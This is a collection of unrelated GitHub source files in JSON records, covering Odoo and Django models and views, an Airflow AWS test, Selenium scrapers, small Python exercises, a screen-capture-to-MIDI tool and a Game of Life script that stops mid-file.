{"seq_id":"40017513994","text":"# -*- coding: utf-8 -*-\nfrom odoo import models, fields, api\n\nclass RequestPackageType(models.Model):\n    _name = 'res.package.type'\n    name = fields.Char(string='Name', required=True)\n    package_type = fields.Selection([('unit','Unit'),('pack','Pack'),('box', 'Box'), ('pallet', 'Pallet')], 'Type', required=True, default = \"unit\")\n    height = fields.Float('Height', help='The height of the package')\n    width = fields.Float('Width', help='The width of the package')\n    length = fields.Float('Length', help='The length of the package')\n    weight = fields.Float('Empty Package Weight')\n\n\nclass ProductPackaging(models.Model):\n    _inherit = \"product.packaging\"\n\n    @api.model\n    def _reference_models(self):\n        obj = self.env['res.package.type']\n        res = obj.search_read(fields=['name_technical','name'])\n        return [(r['name_technical'], r['name']) for r in res]\n\n    name = fields.Many2one(\"res.package.type\", \"Package types\")\n\n    ul_container = fields.Many2one(\"res.package.type\", \"Pallet Logistic Unit\")\n\n    ul_qty = fields.Integer(\n        string = \"Packages By Layer\"\n    ) \n\n    rows = fields.Integer(\n        string = \"Number Of Layers\"\n    ) \n\n    weight = fields.Float(\n        string = \"Total Package Weight\"\n    ) \n","repo_name":"intrepidux/odoo-website-dermanord","sub_path":"product_packaging_dermanord/models/product_package.py","file_name":"product_package.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"44196219260","text":"from django.conf import settings\nfrom django_mako_plus import view_function, jscontext\nfrom datetime import datetime, timezone\nfrom homepage import models as hmod\nfrom django.contrib.auth.models import User\nfrom django import forms\n\n\n@view_function\ndef process_request(request): #give them defaults\n\n\n    prescribers = hmod.Doctor.objects.all()[:100]\n    opioids = hmod.Drug.objects.all()[:100]\n\n    context = {\n        'prescribers': prescribers,\n        'opioids': opioids,\n    }\n    return request.dmp.render('main.html', context)\n\n\n@view_function\ndef prescribers(request, param):\n\n    if param != None:\n        prescribers = hmod.Doctor.objects.all().filter(Fname__contains = param) | hmod.Doctor.objects.all().filter(Lname__contains = param) | hmod.Doctor.objects.all().filter(Gender__contains = param) | hmod.Doctor.objects.all().filter(Credentials__contains = param) | hmod.Doctor.objects.all().filter(State__contains = param) | hmod.Doctor.objects.all().filter(Specialty__contains = param)\n        prescribers = prescribers[:100]\n    else:\n        prescribers = hmod.Doctor.objects.all()[:100]\n\n    context = {\n        'prescribers': prescribers,\n    }\n\n    return request.dmp.render('main.prescribers.html', context)\n\n\n@view_function\ndef drugs(request, param):\n    \n    if param != None:\n        opioids = hmod.Drug.objects.all().filter(DrugName__contains = param) | hmod.Drug.objects.all().filter(IsOpioid__contains = param)\n        opioids = opioids[:100]\n    else:\n        opioids = hmod.Drug.objects.all()[:100]\n\n    context = {\n        'opioids': opioids,\n    }\n\n    return request.dmp.render('main.drugs.html', context)","repo_name":"mcmtrnt/intex2","sub_path":"homepage/views/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32684746233","text":"import json\nimport os\nfrom unittest import mock\n\nimport pytest\n\nfrom airflow.models import Connection\nfrom airflow.providers.amazon.aws.hooks.base_aws import AwsBaseHook\nfrom tests.providers.google.cloud.utils.gcp_authenticator import GCP_AWS_KEY\nfrom tests.test_utils.gcp_system_helpers import GoogleSystemTest, provide_gcp_context\n\nROLE_ANR = os.environ.get('GCP_AWS_ROLE_ANR', \"arn:aws:iam::123456:role/role_arn\")\nAUDIENCE = os.environ.get('GCP_AWS_AUDIENCE', 'aws-federation.airflow.apache.org')\n\n\n@pytest.mark.system(\"google.cloud\")\n@pytest.mark.credential_file(GCP_AWS_KEY)\nclass AwsBaseHookSystemTest(GoogleSystemTest):\n    @provide_gcp_context(GCP_AWS_KEY)\n    def test_run_example_gcp_vision_autogenerated_id_dag(self):\n        mock_connection = Connection(\n            conn_type=\"aws\",\n            extra=json.dumps(\n                {\n                    \"role_arn\": ROLE_ANR,\n                    \"assume_role_method\": \"assume_role_with_web_identity\",\n                    \"assume_role_with_web_identity_federation\": 'google',\n                    \"assume_role_with_web_identity_federation_audience\": AUDIENCE,\n                }\n            ),\n        )\n\n        with mock.patch.dict('os.environ', AIRFLOW_CONN_AWS_DEFAULT=mock_connection.get_uri()):\n            hook = AwsBaseHook(client_type='s3')\n\n            client = hook.get_conn()\n            response = client.list_buckets()\n            assert 'Buckets' in response\n","repo_name":"a0x8o/airflow","sub_path":"tests/providers/amazon/aws/hooks/test_base_aws_system.py","file_name":"test_base_aws_system.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"42097615671","text":"from selenium import webdriver\nfrom selenium.common.exceptions import WebDriverException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom utils import preprocess_materials_info, connect_db, insert_in_db, set_chrome_browser, db_config\nimport pymysql\nimport time\nimport pickle\n\nREPORT_NUMS = pickle.load(open(\"./report_num.pickle\", \"rb\"))\nprint(REPORT_NUMS)\n\nPATH = \"/Users/hongnadan/PycharmProjects/DataArchitecture/health-food-project/chromedriver\"\nSITE_URL = \"http://www.foodsafetykorea.go.kr/portal/healthyfoodlife/searchHomeHF.do?menu_grp=MENU_NEW04&menu_no=2823\"\n\n\ndef search_product(prod_report_num: int, browser: webdriver.chrome) -> webdriver.Chrome:\n    \"\"\" 신고번호로 해당 제품의 상세 정보 검색.\n\n    자바스크립트 이벤트 에러를 방지하기 위해 예외처리.\n    :param browser: chrome web browser\n    :param prod_report_num: 제품 신고번호\n    :return: Chrome Browser or None\n    \"\"\"\n    try:\n\n        # click 신고 번호\n        time.sleep(5)\n        browser.find_element_by_xpath('//*[@id=\"search_code\"]/option[3]').click()\n\n        # 신고번호 입\n        browser.find_element_by_xpath('//*[@id=\"search_word\"]').send_keys(prod_report_num)\n\n        # 제품 검색\n        time.sleep(5)\n        browser.find_element_by_xpath('//*[@id=\"wrap\"]/main/div[3]/div[1]/div/fieldset/ul/li[3]/a').click()\n\n        # 제품 클릭\n        time.sleep(5)\n        browser.find_element_by_xpath('//*[@id=\"wrap\"]/main/div[3]/table/tbody/tr/td[2]/a').click()\n\n        return browser\n    except WebDriverException as e:\n        print(e)\n\n\ndef get_product_page(prod_report_num: int, browser) -> webdriver.Chrome:\n    \"\"\" 제품 상세 페이지 로딩.\n\n    검색한 제품의 상세 페이지를 가져옴.\n    검색 실패시 다시 검색을 진행할 수 있도록 search_product 함수에서 None 리턴하지 않을때까지 반복.\n    추가로 TimeOutError 예외처리.\n\n    :param browser: chrome web browser\n    :param prod_report_num: 제품 신고 번호\n    :return: Browser or None\n    \"\"\"\n    try:\n        print(\"=====get_product_page======\")\n        product_page = search_product(prod_report_num, browser)\n        # while True:\n        #     if product_page is not None:\n        #         break\n        #     product_page = search_product(prod_report_num, browser)\n\n        return product_page\n    except TimeoutError as e:\n        print(e)\n\n\ndef get_product_info(prod_report_num: int, product_page: webdriver.Chrome) -> list:\n    \"\"\" 제품의 상세 정보를 가져오는 함수.\n\n    제품 상세 페이지의 데이터를 긁어오고, 페이지 못가져올시 다시 브라우저 실행.\n\n    :param product_page: product page browser\n    :param prod_report_num: 제품 신고번호\n    :return: 제품 상세정보가 담긴 리스트\n    \"\"\"\n    print(\"=====get_product_info======\")\n    print(product_page)\n    # if product_page is None:\n    #     product_page = get_product_page(prod_report_num)\n\n    product_info = []\n    for i in range(1, 13):\n        text = product_page.find_element_by_xpath(f'//*[@id=\"wrap\"]/main/div[3]/article/table/tbody/tr[{i}]/td').text\n        product_info.append(text)\n\n    total_materials = \"\"\n    func_materials_info = product_page.find_element_by_xpath('//*[@id=\"wrap\"]/main/div[3]/article/div[1]/table').text\n    etc_materials_info = product_page.find_element_by_xpath('//*[@id=\"wrap\"]/main/div[3]/article/div[2]/table').text\n    capsule_materials_info = product_page.find_element_by_xpath('//*[@id=\"wrap\"]/main/div[3]/article/div[3]/table').text\n    total_materials += preprocess_materials_info(func_materials_info)\n    total_materials += preprocess_materials_info(etc_materials_info)\n    total_materials += preprocess_materials_info(capsule_materials_info)\n    product_info.append(total_materials)\n\n    return product_info\n\n\ndef save_in_db(conn, cursor, sql: str):\n    try:\n        for num in REPORT_NUMS:\n            BROWSER = set_chrome_browser(PATH)\n            BROWSER.get(SITE_URL)\n            page = get_product_page(num, BROWSER)\n            product_info = get_product_info(num, page)\n            print(product_info)\n            insert_in_db(data=product_info, conn=conn, cursor=cursor, sql=sql)\n            BROWSER.close()\n        conn.close()\n    except pymysql.Error as e:\n        print(e)\n    except Exception as e:\n        print(e)\n\n\ndef main():\n    print(REPORT_NUMS)\n    conn, cursor, sql = db_config()\n    save_in_db(conn=conn, cursor=cursor, sql=sql)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"NDjust/health-food-project","sub_path":"healthfood/crawling/selenium-code/productInfo.py","file_name":"productInfo.py","file_ext":"py","file_size_in_byte":4630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1018623071","text":"def convert(input):\n    assert type(input) is str, \"Input must be a string\" \n\n    result = 0\n    bits = []\n\n    for i in input:\n        assert(i == '1' or i == '0'), \"Input must only contain '1' or '0'\"\n        bits.append(i)\n\n    bits.reverse()\n\n    for idx, val in enumerate(bits):\n        if int(val) != 0:\n            result += pow(2, idx)\n\n    return result","repo_name":"jason-mcdermott/numeral-system-converters-python","sub_path":"binarytodecimal/binary_to_decimal.py","file_name":"binary_to_decimal.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7564528161","text":"from application.sub import Subscriber\nfrom configobj import ConfigObj\nimport sys\nimport time\n\nconfig_path, item = None, 'Sub3'\nif len(sys.argv) == 1:\n    config_path = 'config/subscriber.ini'\nif len(sys.argv) >= 2:\n    config_path = sys.argv[1]\nif len(sys.argv) >= 3:\n    item = sys.argv[2]\n\nconfig = ConfigObj(config_path)\nif item == '':\n    item = list(config.keys())[0]\n\nconfig = config[item]\n\np = Subscriber(ip_self=config['sub_addr'], ip_zookeeper=config['zookeeper'],\n               comm_type=int(config['mode']), logfile=config['logfile'], name=item)\np.register(config['topic'])\n\nwhile 1:\n    p.receive()\n","repo_name":"FWWorks/Assn2_DSP","sub_path":"start_sub.py","file_name":"start_sub.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"19711371233","text":"# message = \"Hello There. My name is Sema İnal\".split()\n# print(message[0])\n\n\n# # my_list = [1,2,3]\n# my_list[\"bir\",2, True, 5.6]\n# print(my_list)\n\n# list1 = [\"one\", \"two\",\"three\"]\n# list2 = [\"four\",\"five\",\"six\"]\n\n# numbers = list1 + list2\n# print(numbers)\n\nuserA = [\"Sema\", 35]\nuserB = [\"Tolga\",35]\n\nusers = userA + userB\n# users = [userA, userB] - liste içinde liste oluşur.\n# print(users[1]) - dersem userA bilgilerine ulşırım çünkü liste içindeki ilk eleman oldu.\nprint(users)\n\n","repo_name":"semainal/python_temelleri","sub_path":"3-4 Pythonda Veri Türleri & Operatörler/lists.py","file_name":"lists.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"tr","doc_type":"code","stars":13,"dataset":"github-code","pt":"35"}
{"seq_id":"70925930020","text":"from django.urls import path\nfrom .views import FollowPostsView, PostDetailView, PostDeleteView, SearchView\n\n\nurlpatterns = [\n    path('', FollowPostsView.as_view(), name='posts'),\n    path('search/', SearchView.as_view(), name='search'),\n    path('<uuid:pk>/', PostDetailView.as_view(), name='post_detail'),\n    path('<uuid:pk>/delete/', PostDeleteView.as_view(), name='post_delete'),\n]","repo_name":"KarlsonAV/Kav-twitter","sub_path":"feed/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22023334735","text":"#!/usr/bin/env python3\n# FileName:prime_numbers.py\n# -*- coding: utf-8 -*-\n\"\"\"高阶函数filter使用。 素数生成器\"\"\"\n\n\ndef main():\n    for n in primes():\n        if n < 1000:\n            print(n)\n        else:\n            break\n\n\n# 定义从3开始的奇数序列生成器\ndef _odd_iter():\n    n = 1\n    while True:\n        n = n + 2\n        yield n\n\n\n# 定义每一轮用于过滤的函数 返回值为过滤函数\ndef _not_divisible(n):\n    return lambda x: x % n > 0\n\n\ndef primes():\n    yield 2\n    it = _odd_iter();\n    while True:\n        n = next(it)\n        yield n\n        it = filter(_not_divisible(n), it)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"I-KevinZhan/start-python","sub_path":"demo/prime_numbers.py","file_name":"prime_numbers.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19418354795","text":"import numpy as np\nfrom skimage.transform import rotate\nfrom skimage.filters import gaussian_filter\nimport torch\n\n__author__ = \"ZEPING YAO\"\n\n\nclass CenterCrop(object):\n    def __call__(self, x, crop_size):#x's shape is [n, m, 3]\n        assert x.ndim == 3\n        centerw, centerh = x.shape[0] // 2, x.shape[1] // 2\n        halfw, halfh = crop_size[0] // 2, crop_size[1] // 2\n        assert halfh <= centerh and halfw <= centerw\n        return x[centerw - halfw:centerw + halfw, centerh - halfh:centerh + halfh]\n\nclass RandomCrop(object):\n    def __call__(self, x, crop_size):## x's shape is [n, m, 3]\n        assert x.ndim == 3\n        assert x.shape[0] > crop_size[0] and x.shape[1] > crop_size[1]\n        startw = np.random.randint(0, x.shape[0]-crop_size[0])\n        starth = np.random.randint(0, x.shape[1]-crop_size[1])\n        return x[startw: startw+crop_size[0], starth: starth+crop_size[1]]\n\n\nclass ToTensor(object):\n    def __call__(self, x):\n        assert x.ndim == 3\n        x = x.transpose((2, 0, 1))\n        return torch.from_numpy(x).float()\n\nclass ToImage(object):\n    def __call__(self, x):\n        return x.cpu().data.numpy().transpose((1,2,0))\n\nclass AddGaussianNoise(object):\n    def __call__(self, x, mean, sigma):\n        row, col, ch = x.shape\n        gauss = np.random.normal(mean, sigma, (row, col, ch))\n        gauss = gauss.reshape(row, col, ch)\n        x += gauss\n        return x\n\nclass GaussianBlurring(object):\n    def __call__(self, x, sigma):\n        image = gaussian_filter(x, sigma=(sigma, sigma, 0))\n        return image\n\nclass Rotate(object):\n\tdef __init__(self, angs, mode='reflect'):\n\t\tself.angs = angs\n\t\tself.mode = mode\n\tdef __call__(self, x):\n\t\tangle = self.angs[np.random.choice(len(self.angs), 1)[0]]\n\t\tmi, ma = x.min(), x.max()\n\t\tx = rotate(x, angle, mode=self.mode, clip=True)\n\t\treturn np.clip(x, mi, ma)\nclass RandomRotate(object):\n    def __call__(self, x, max_ang, mode=\"reflect\"):\n        assert max_ang > 0\n        angle = np.random.randint(-max_ang, max_ang)\n        mi, ma = x.min(), x.max()\n        x = rotate(x, angle, mode=mode, clip=True)\n        return np.clip(x, mi, ma)\n\nclass Normalize(object):\n    \"\"\"Normalize each channel of the numpy array i.e.\n    channel = (channel - mean) / std\n    \"\"\"\n    def __call__(self, image):\n        image /= 255.\n        image -= image.mean(axis=(0, 1))\n        s = image.std(axis=(0, 1))\n        s[s == 0] = 1.0\n        image /= s\n        return image","repo_name":"mowayao/SalGAN","sub_path":"transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"16272819518","text":"import time\nimport math\nfrom datetime import datetime\nimport struct\nimport sys\nimport os, fnmatch\nimport argparse\nfrom time import sleep\n\n\ndef readLogFile(filename, verbose=True):\n  f = open(filename, 'rb')\n\n  print('Opened'),\n  print(filename)\n\n  keys = f.readline().decode('utf8').rstrip('\\n').split(',')\n  fmt = f.readline().decode('utf8').rstrip('\\n')\n\n  # The byte number of one record\n  sz = struct.calcsize(fmt)\n  # The type number of one record\n  ncols = len(fmt)\n\n  if verbose:\n    print('Keys:'),\n    print(keys)\n    print('Format:'),\n    print(fmt)\n    print('Size:'),\n    print(sz)\n    print('Columns:'),\n    print(ncols)\n\n  lenChunk = sz\n  log = list()\n  chunkIndex = 0\n  while (lenChunk):\n    check = f.read(2)\n    lenChunk = 0\n    if (check == b'\\xaa\\xbb'):\n      mychunk = f.read(sz)\n      lenChunk = len(mychunk)\n      chunks = [mychunk]\n      if verbose:\n        print(\"num chunks:\")\n        print(len(chunks))\n\n      for chunk in chunks:\n        print(\"len(chunk)=\", len(chunk), \" sz = \", sz)\n        if len(chunk) == sz:\n          print(\"chunk #\", chunkIndex)\n          chunkIndex = chunkIndex + 1\n          values = struct.unpack(fmt, chunk)\n          record = list()\n          for i in range(ncols):\n            record.append(values[i])\n            if verbose:\n              print(\"    \", keys[i], \"=\", values[i])\n\n          log.append(record)\n    else:\n      print(\"Error, expected aabb terminal\")\n  return log\n\n\nnumArgs = len(sys.argv)\n\nprint('Number of arguments:', numArgs, 'arguments.')\nprint('Argument List:', str(sys.argv))\nfileName = \"log.bin\"\n\nif (numArgs > 1):\n  fileName = sys.argv[1]\n\nprint(\"filename=\")\nprint(fileName)\n\nverbose = True\n\nreadLogFile(fileName, verbose)\n","repo_name":"bulletphysics/bullet3","sub_path":"examples/pybullet/examples/dumpLog.py","file_name":"dumpLog.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","stars":11311,"dataset":"github-code","pt":"35"}
{"seq_id":"35869415751","text":"import cv2\nimport numpy\nimport screeninfo\nfrom pynput import keyboard, mouse\nfrom mss import mss\nfrom midiutil.MidiFile import MIDIFile\n\n\ndef get_monitor(mon_num, primary=True):\n    monitors = screeninfo.get_monitors()\n    target_monitor = monitors[mon_num]\n    return target_monitor.width, target_monitor.height\n\n\nclass Paparatsy:\n    def __init__(self, top_left_x, top_left_y_from_top, width, height, monitor_number=1):\n        self.contasted_screenshot = None\n        self.mouse_coords = None\n        self.listener = None\n        self.k_listener = None\n        self.screenshot = None\n\n        with mss() as sct:\n            monitor = sct.monitors[monitor_number]\n            self.monitor = {\n                \"top\": monitor[\"top\"] + top_left_y_from_top,\n                \"left\": monitor[\"left\"] + top_left_x,\n                \"width\": width,\n                \"height\": height,\n                \"monitor\": monitor\n            }\n\n    def screengrab(self, grayscale=True):\n        mon = self.monitor\n        with mss() as sct:\n            img_grab = sct.grab(mon)\n            # noinspection PyTypeChecker\n            self.screenshot = numpy.array(img_grab)\n            if grayscale:\n                self.screenshot = cv2.cvtColor(self.screenshot, cv2.COLOR_BGRA2GRAY)\n\n    def screen_save(self):\n        cv2.imwrite('screenshots/image.jpg', self.screenshot)\n\n    @staticmethod\n    def display_setup(output_mon_num, out_win_pos_offset_x, out_win_pos_offset_y):\n        monitor_list = screeninfo.get_monitors()\n        target_monitor = monitor_list[output_mon_num]\n\n        cv2.namedWindow(\"Display\", cv2.WINDOW_NORMAL)\n        cv2.moveWindow(\"Display\", target_monitor.x + out_win_pos_offset_x, target_monitor.y + out_win_pos_offset_y)\n\n    @staticmethod\n    def display_screen_grab(img, width, height, scale=80):\n        cv2.resizeWindow(\"Display\", (int(width * scale / 100), int(height * scale / 100)))\n        cv2.imshow(\"Display\", img)\n        cv2.waitKey(1)\n\n    def thresholder(self, key_chart, scan_line):\n        for i in range(0, 20):\n            selfie_line = self.screenshot_segment(key_chart[0], scan_line, key_chart[2], scan_line + 2)\n            selfie_line = self.adjust_brightness(selfie_line, i)\n            contour_list = []\n\n            _, thresh = cv2.threshold(selfie_line, 127, 255, cv2.THRESH_BINARY)\n            contours, _ = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n            for contour in contours:\n                m = cv2.moments(contour)\n                if m[\"m00\"] != 0:\n                    cx = int(m[\"m10\"] / m[\"m00\"])\n                    contour_list.append(cx)\n\n            print(len(contour_list))\n            if len(contour_list) == 52:\n                return contour_list\n\n    def keyboard_getter(self):\n        coordinates = []\n        for i in range(2):\n            x, y = self.get_mouse_coordinates()\n            coordinates.append(x)\n            coordinates.append(y)\n            print(f\"mouse position: {x}, {y}\")\n\n        keyboard_width = abs(coordinates[0] - coordinates[2])\n        keyboard_height = abs(coordinates[1] - coordinates[3])\n        return keyboard_height, keyboard_width, coordinates\n\n    def grab_pixel(self, y_val, x_val):\n        if y_val > 2559:\n            y_val = 2559\n        return self.screenshot[x_val][y_val]\n\n    @staticmethod\n    def adjust_brightness(img, gamma=1.0):\n        gamma_corrected = numpy.power(img / 255.0, gamma) * 255.0\n        return gamma_corrected.astype(numpy.uint8)\n\n    def add_contrast(self, added_contrast):\n        self.screenshot = cv2.convertScaleAbs(self.screenshot, alpha=added_contrast)\n\n    def screenshot_segment(self, top_left_x, top_left_y, bot_right_x, bot_right_y):\n        segment = self.screenshot[top_left_y:bot_right_y, top_left_x:bot_right_x]\n        return segment\n\n    # Keyboard cords shenanigans\n    def get_mouse_coordinates(self):\n        self.listener = mouse.Listener(on_move=self.on_move)\n        self.k_listener = keyboard.Listener(on_press=self.on_press)\n        self.listener.start()\n        self.k_listener.start()\n        self.k_listener.join()\n        return self.mouse_coords\n\n    def on_press(self, key):\n        if key == keyboard.Key.ctrl_r:\n            # print(\"Ctrl+R pressed. Retrieving mouse coordinates...\")\n            self.listener.stop()\n            self.k_listener.stop()\n\n    def on_move(self, x, y):\n        self.mouse_coords = (abs(x), abs(y))\n\n\nclass Converter:\n    piano_notes_midi_dict = {\n        \"A0\": 21, \"A#0\": 22, \"B0\": 23,\n        \"C1\": 24, \"C#1\": 25, \"D1\": 26, \"D#1\": 27, \"E1\": 28, \"F1\": 29, \"F#1\": 30, \"G1\": 31, \"G#1\": 32,\n        \"A1\": 33, \"A#1\": 34, \"B1\": 35,\n        \"C2\": 36, \"C#2\": 37, \"D2\": 38, \"D#2\": 39, \"E2\": 40, \"F2\": 41, \"F#2\": 42, \"G2\": 43, \"G#2\": 44,\n        \"A2\": 45, \"A#2\": 46, \"B2\": 47,\n        \"C3\": 48, \"C#3\": 49, \"D3\": 50, \"D#3\": 51, \"E3\": 52, \"F3\": 53, \"F#3\": 54, \"G3\": 55, \"G#3\": 56,\n        \"A3\": 57, \"A#3\": 58, \"B3\": 59,\n        \"C4\": 60, \"C#4\": 61, \"D4\": 62, \"D#4\": 63, \"E4\": 64, \"F4\": 65, \"F#4\": 66, \"G4\": 67, \"G#4\": 68,\n        \"A4\": 69, \"A#4\": 70, \"B4\": 71,\n        \"C5\": 72, \"C#5\": 73, \"D5\": 74, \"D#5\": 75, \"E5\": 76, \"F5\": 77, \"F#5\": 78, \"G5\": 79, \"G#5\": 80,\n        \"A5\": 81, \"A#5\": 82, \"B5\": 83,\n        \"C6\": 84, \"C#6\": 85, \"D6\": 86, \"D#6\": 87, \"E6\": 88, \"F6\": 89, \"F#6\": 90, \"G6\": 91, \"G#6\": 92,\n        \"A6\": 93, \"A#6\": 94, \"B6\": 95,\n        \"C7\": 96, \"C#7\": 97, \"D7\": 98, \"D#7\": 99, \"E7\": 100, \"F7\": 101, \"F#7\": 102, \"G7\": 103, \"G#7\": 104,\n        \"A7\": 105, \"A#7\": 106, \"B7\": 107,\n        \"C8\": 108\n    }\n    ticks_per_beat = 480\n\n    def __init__(self):\n        print(\"input song name:\")\n        song_name = input()\n        self.song_name = song_name + \".mid\"\n\n        print(\"\\ninput song tempo:\")\n        tempo = int(input())\n        self.mf = MIDIFile(1)  # only 1 track\n        self.track = 0  # the only track\n\n        time = 0  # start at the beginning\n        self.mf.addTrackName(self.track, time, \"Sample Track\")\n        self.mf.addTempo(self.track, time, tempo)\n\n    def apply_notes(self, note_dict):\n        channel = 0\n        volume = 70\n\n        pitch = self.piano_notes_midi_dict[note_dict['key']]\n        duration = note_dict['duration']\n        time = note_dict['time']\n\n        controller_number = 64  # Sustain pedal controller number\n\n        controller_value = 0\n        self.mf.addControllerEvent(self.track, channel, time, controller_number, controller_value)\n\n        self.mf.addNote(self.track, channel, pitch, time, duration, volume)\n\n        controller_value = 127  # Maximum value (on)\n        self.mf.addControllerEvent(self.track, channel, time, controller_number, controller_value)\n\n    def finish_song(self):\n        print(\"finished song\")\n        with open(f\"{self.song_name}\", 'wb') as outf:\n            self.mf.writeFile(outf)\n","repo_name":"CSGai/Noter","sub_path":"note_spy.py","file_name":"note_spy.py","file_ext":"py","file_size_in_byte":6774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34370466928","text":"\"\"\"\n@Author: Aseem Jain\n@Linkedin: https://www.linkedin.com/in/premaseem/\n@Github: https://github.com/premaseem/pythonLab/tree/master/challenge\n\n\"\"\"\n\n\ndef sol(student_course_pairs_1):\n    m = {}\n    for sid,c in student_course_pairs_1:\n        course = m.setdefault(sid,set())\n        course.add(c)\n\n    print(\"course map\", m )\n\n    students = list(m.keys())\n    print(\"students list \",students)\n    pairs = []\n    courses = []\n    ans = []\n    for i in range(len(students)):\n        for j in range(i+1,len(students)):\n            pairs.append([students[i],students[j]])\n            s1 = m.get(students[i])\n            s2 = m.get(students[j])\n            common = s1.intersection(s2)\n            print(common)\n            name = str(students[i]) + \" \" + str(students[j])\n            value = list(common)\n            ans.append([ name, value ])\n\n    return ans\n\n\n","repo_name":"premaseem/pythonLab","sub_path":"interview_question/BETTER_student_course_pairs.py","file_name":"BETTER_student_course_pairs.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"4099264864","text":"# -*- coding: utf-8 -*-\n# @project : script\n# @author  : lenovo\n# @file     : myDriver.py\n# @ide     : PyCharm\n# @time    : 2020/5/29 20:22\nfrom study.seleniumStu.day7.po模式实战.utils.mySettings import driverPath, DOMAIN, cookieSli\nfrom selenium import webdriver\n\n\nclass Driver:\n    # 初始化为 None\n    _driver = None\n\n    @classmethod\n    def get_driver(cls, browser_name=\"Chrome\"):\n        \"\"\"\n        如果，浏览器驱动对象不存在，则创建浏览器驱动对象，并将其作为返回值返回\n        如果，浏览器驱动对象存在，直接将其作为返回值返回\n        :param browser_name: 希望创建的浏览器类型\n        :return:\n        \"\"\"\n        if cls._driver is None:\n            # 浏览器驱动对象不存在，创建一个\n            if browser_name == \"Chrome\":\n                cls._driver = webdriver.Chrome(driverPath[\"Chrome\"])\n            elif browser_name == \"Firefox\":\n                cls._driver = webdriver.Firefox(driverPath[\"Firefox\"])\n            # ...... 省略其他的浏览器声明\n\n            # 最大化窗口\n            cls._driver.maximize_window()\n            # 访问默认的网址\n            cls._driver.get(DOMAIN)\n            # 执行登录\n            cls.__login()\n\n        return cls._driver\n\n    @classmethod\n    def __login(cls):\n        \"\"\"\n        私有方法，只能在类的内部使用\n        类外部无法使用，子类不能继承\n        解决登录问题，只希望在浏览器驱动对象被创建的时候执行一次登录，以后都不需要登录\n        :return:\n        \"\"\"\n        # 清除所有的cookie\n        cls._driver.delete_all_cookies()\n        for cookie in cookieSli:\n            # 添加 cookie\n            cls._driver.add_cookie(cookie)\n        # 刷新一下\n        cls._driver.refresh()\nif __name__ == '__main__':\n    Driver.get_driver()\n","repo_name":"tester-rookie/testgit","sub_path":"sonqin/ui_selenium/day7/po模式实战/utils/myDriver.py","file_name":"myDriver.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27670516212","text":"from collections import deque\n\n\ndef bfs(start):\n    q = deque()\n    q.append(start)\n    while q:\n        x = q.popleft()\n        if x == M:\n            return lotation[x]\n        for i in range(3):\n            if i == 0:\n                nx = x -1\n            elif i == 1:\n                nx = x + 1\n            else:\n                nx = 2*x\n            if 0 <= nx <= 100000 and lotation[nx] == -1:\n                lotation[nx] = lotation[x] + 1\n                q.append(nx)\n\n\nN, M = map(int, input().split())\nlotation = [-1]*100001\nlotation[N] = 0\nprint(bfs(N))","repo_name":"dlush93/My_Algorithm","sub_path":"BAEKJOON/Silver/S1/1697. 숨바꼭질.py","file_name":"1697. 숨바꼭질.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73943332581","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb  1 05:39:41 2020\n\n@author: sg24x7\n\"\"\"\n\n#Conway's Game of Life\n# '#' for living cell and ' ' for empty cell\n\nimport random, time, copy\nWIDTH = 60\nHEIGHT = 20\n\n#Create a list of list for the cells\nnextCells = []\nfor x in range(WIDTH):\n    column = [] #Create a new column\n    for y in range(HEIGHT):\n        if random.randint(0, 1) == 0:\n            column.append('#') #adding a living cell\n        else:\n            column.append(' ') #add a dead cell\n    nextCells.append(column)\n    \nwhile True: #main program loop\n    print('\\n\\n\\n\\n\\n')        #separate each steps with newlines\n    currentCells = copy.deepcopy(nextCells)\n    \n    #Print currentCells on the screen\n    for y in range(HEIGHT):\n        for x in range(WIDTH):\n            print(currentCells[x][y], end=' ')   #print the # or space\n        print()                                 #printing the newline at the end of the row\n        \n    #Calculate the next step's cell based on current step cells\n    for x in range(WIDTH):\n        for y in range(HEIGHT):\n            # Get neighbouring coordinates\n            # '% WIDTH' ensures leftCoord is always between 0 and WIDTH-1\n            leftCoord = (x-1) % WIDTH\n            rightCoord = (x+1) % WIDTH\n            aboveCoord = (y-1) % HEIGHT\n            belowCoord = (y+1) % HEIGHT\n            \n            # 